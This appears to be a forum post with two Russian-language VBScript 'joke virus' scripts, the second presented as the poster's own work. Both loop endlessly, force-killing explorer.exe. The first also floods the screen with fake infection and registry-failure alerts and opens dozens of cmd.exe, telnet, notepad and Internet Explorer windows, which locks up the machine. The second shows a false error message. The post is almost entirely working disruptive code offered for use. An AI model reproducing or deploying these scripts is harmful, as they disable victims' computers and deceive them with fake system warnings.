on error resume next set t=createobject("Wscript.Shell") set kill = createobject("wscript.shell") do kill.run"taskkill /f /im explorer.exe",0 msgbox"Неполадка системы",16,"Error" msgbox"Вы заражены вирусом",48,"Windows" msgbox"Ошибка",16,"Windows" msgbox"Обнаружено 10 вирусов",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" msgbox"Сбой системы",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" t.run"help" msgbox"Ошибка",16,"Windows" msgbox"Ошибка",16,"Windows" msgbox"Ошибка",16,"Windows" msgbox"Ошибка",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" msgbox"Сбой системы",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" msgbox"Система заражена",16,"Windows" msgbox"Система заражена",16,"Windows" msgbox"Сбой системного реестра",16,"Windows" msgbox"Сбой системного реестра",16,"Windows" msgbox"Сбой системного реестра",16,"Windows" msgbox"Сбой системного реестра",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" t.run"cmd.exe" msgbox"Система заражена",16,"Windows" msgbox"Система заражена",16,"Windows" msgbox"Ошибка",16,"Windows" msgbox"Ошибка",16,"Windows" msgbox"Ошибка",16,"Windows" msgbox"Ошибка",16,"Windows" msgbox"Ошибка",16,"Windows" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" t.run"iexplore.exe" loop
И моё личное "творчество" :
on error resume next set t=createobject("Wscript.Shell") set kill = createobject("wscript.shell") do kill.run"taskkill /f /im explorer.exe",0 msgbox"К сожалению Windows не может продолжать работу потому что программа отслеживающая ваши действия не может подключиться к своим серверам. ",16,"Ошибка" loop